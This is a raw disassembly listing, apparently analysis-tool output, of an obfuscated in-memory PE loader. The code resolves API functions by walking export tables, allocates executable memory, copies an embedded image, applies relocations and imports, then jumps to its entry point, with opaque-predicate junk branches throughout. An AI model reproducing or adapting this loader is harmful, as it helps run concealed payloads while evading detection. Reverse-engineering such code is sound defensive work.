movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea r14, section..data
jl 0x18000233d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002419
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180002379
add rsi, 1
cmp al, bl
je 0x180002360
cmp al, bl
je 0x180002387
add rdx, 4
add rcx, 2
jmp 0x180002350
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800023d4
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001df2
cmp dword [0x180020a7c], 0xa
mov r10, qword [rbp - 0x10]
jl 0x180001b09
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001b09
jmp 0x180001b00
jmp 0x1800023ff
jmp 0x180002401
jmp 0x180002403
jmp 0x180002405
jmp 0x180002407
jmp 0x180002409
jmp 0x18000240b
jmp 0x18000240d
jmp 0x18000240f
jmp 0x180002411
jmp 0x180002413
jmp 0x180002415
jmp 0x180002417
jmp 0x180002419
jmp 0x18000241b
jmp 0x18000241d
jmp 0x18000241f
jmp 0x180002421
jmp 0x180002423
jmp 0x180002425
mov r13, rax
cmp ecx, 0xa
jl 0x180002435
test edx, edx
je 0x180002435
jmp 0x180002433
mov rdx, qword [rbp - 8]
lea r8, [rdx + 0x108]
xor r9d, r9d
mov rdx, qword [rbp - 8]
movzx edx, word [rdx + 6]
cmp r9, rdx
jae 0x180002521
cmp dword [0x180020a78], 0xa
jl 0x180002472
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000251d
lea rdx, [r9 + r9*4]
mov eax, dword [r8 + rdx*8 + 0xc]
mov ecx, dword [r8 + rdx*8 + 0x10]
mov rbx, r13
add rax, r13
mov edx, dword [r8 + rdx*8 + 0x14]
lea rbx, section..data
lea rdi, [rdx + rbx]
add rdi, 0x404
sub rcx, 1
jb 0x1800024e0
movzx edx, byte [rdi]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp edx, 0xa
jl 0x1800024cd
test esi, esi
je 0x1800024cd
movzx edx, byte [rdi]
mov byte [rax], dl
jmp 0x1800024a3
add rdi, 1
add rax, 1
cmp edx, 0xa
jl 0x18000249d
test esi, esi
je 0x18000249d
jmp 0x18000251b
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp ecx, 0xa
jl 0x180002501
test edx, edx
jne 0x18000251f
add r9, 1
cmp ecx, 0xa
jl 0x180002443
test edx, edx
je 0x180002443
jmp 0x180002433
jmp 0x18000251b
jmp 0x18000251d
jmp 0x18000251f
mov rdx, qword [rbp - 8]
mov rbx, qword [rdx + 0x30]
mov rdx, r13
sub rdx, rbx
cmp ecx, 0xa
jl 0x180002543
lea ebx, [r14 - 1]
imul ebx, r14d
and ebx, 1
je 0x180002543
jmp 0x180002541
mov rbx, qword [rbp - 8]
mov ebx, dword [rbx + 0xb0]
mov rax, r13
add rbx, r13
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x180002711
mov edi, dword [rbx + 4]
cmp rdi, 8
jb 0x1800026d9
cmp ecx, 0xa
jl 0x180002589
lea esi, [r14 - 1]
imul esi, r14d
and esi, 1
jne 0x18000270b
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x1800026d9
movzx esi, word [rbx + r10*2 + 8]
mov edi, esi
shr edi, 0xc
mov r11d, esi
and r11d, 0xfff
cmp esi, 0xa000
jae 0x1800025e3
cmp edi, 3
jne 0x180002670
cmp ecx, 0xa
jl 0x180002690
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x1800026c3
jmp 0x180002690
cmp edi, 0xa
jne 0x180002670
cmp ecx, 0xa
jl 0x180002602
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x18000270d
mov eax, dword [rbx]
mov esi, r11d
mov rcx, r13
add rsi, r13
add qword [rax + rsi], rdx
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180002670
lea edi, [r14 - 1]
imul edi, r14d
and edi, 1
je 0x180002670
cmp ecx, 0xa
jl 0x180002646
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x180002709
mov eax, dword [rbx]
add qword [rsi + rax], rdx
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
mov edi, dword [rbx]
add qword [rsi + rdi], rdx
cmp ecx, 0xa
jl 0x180002611
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002646
jmp 0x180002611
add r10, 1
cmp ecx, 0xa
jl 0x180002595
lea edi, [r14 - 1]
imul edi, r14d
and edi, 1
je 0x180002595
jmp 0x18000270b
mov eax, dword [rbx]
mov rcx, r13
lea rax, [rax*4]
add rax, r13
add dword [rax + r11*4], edx
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180002670
lea esi, [r14 - 1]
imul esi, r14d
and esi, 1
je 0x180002670
mov eax, dword [rbx]
mov rcx, r13
lea rax, [rax*4]
add rax, r13
add dword [rax + r11*4], edx
jmp 0x180002690
lea edi, [r14 - 1]
imul edi, r14d
and edi, 1
cmp ecx, 0xa
jl 0x1800026ed
test edi, edi
jne 0x18000270f
mov esi, dword [rbx + 4]
add rbx, rsi
cmp ecx, 0xa
jl 0x18000255d
test edi, edi
je 0x18000255d
jmp 0x180002541
jmp 0x180002709
jmp 0x18000270b
jmp 0x18000270d
jmp 0x18000270f
mov rdx, qword [rbp - 8]
mov edx, dword [rdx + 0x90]
mov rax, r13
add rdx, r13
mov qword [rbp - 0x20], rdx
lea rax, [r13 + 2]
mov qword [rbp - 0x38], rax
lea edx, [r14 - 1]
imul edx, r14d
test dl, 1
sete dl
cmp ecx, 0xa
setl al
or al, dl
cmp al, 1
jne 0x180002765
mov rcx, qword [rbp - 0x20]
mov r12d, dword [rcx + 0xc]
test al, al
je 0x180002765
test r12d, r12d
je 0x180002b39
add r12, r13
sub rsp, 0x20
jmp 0x18000277f
test al, al
je 0x180002765
jmp 0x180002747
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
mov rcx, qword [rbp]
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800027ad
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b27
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800027dc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b29
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r15
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x18000280d
add rbx, 1
add rsi, 1
cmp al, dl
je 0x1800027f7
cmp al, dl
je 0x18000281b
add rdi, 4
add rcx, 2
jmp 0x1800027ef
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
add rsp, 0x20
mov qword [rbp - 0x10], rax
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp ecx, 0xa
jl 0x180002904
test edx, edx
je 0x180002904
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002892
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b2b
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800028c1
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b2d
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r15
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x1800028f2
add rbx, 1
add rsi, 1
cmp al, dl
je 0x1800028dc
cmp al, dl
je 0x18000276b
add rdi, 4
add rcx, 2
jmp 0x1800028d4
cmp ecx, 0xa
jl 0x180002911
test edx, edx
jne 0x180002b37
mov rax, qword [rbp - 0x20]
mov edx, dword [rax]
mov ebx, dword [rax + 0x10]
mov rax, r13
add rdx, r13
mov qword [rbp - 0x28], rdx
add rbx, r13
mov qword [rbp - 0x18], rbx
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
test rdx, rdx
je 0x180002b1d
mov rax, qword [rbp - 0x38]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x180002972
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800029a4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b2f
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800029d3
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b31
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov edi, dword [r9 + rcx + 0x24]
add rdx, r9
add rdi, r9
mov esi, dword [rdx]
add rsi, r9
mov rax, qword [rbp - 0x30]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180002a05
add rax, 1
add rsi, 1
cmp bl, cl
je 0x1800029ef
cmp bl, cl
je 0x180002a13
add rdx, 4
add rdi, 2
jmp 0x1800029e6
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp ecx, 0xa
jl 0x180002b00
test edx, edx
je 0x180002b00
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002a91
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002b33
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002abc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002b35
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov edi, dword [r9 + rcx + 0x24]
add rdx, r9
add rdi, r9
mov esi, dword [rdx]
add rsi, r9
mov rax, qword [rbp - 0x30]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180002aee
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180002ad8
cmp bl, cl
je 0x18000294f
add rdx, 4
add rdi, 2
jmp 0x180002acf
add qword [rbp - 0x28], 8
add qword [rbp - 0x18], 8
cmp ecx, 0xa
jl 0x18000292b
test edx, edx
je 0x18000292b
jmp 0x180002b37
add qword [rbp - 0x20], 0x14
jmp 0x18000272d
jmp 0x180002b27
jmp 0x180002b29
jmp 0x180002b2b
jmp 0x180002b2d
jmp 0x180002b2f
jmp 0x180002b31
jmp 0x180002b33
jmp 0x180002b35
jmp 0x180002b37
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
mov rcx, r13
add rcx, rax
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rcx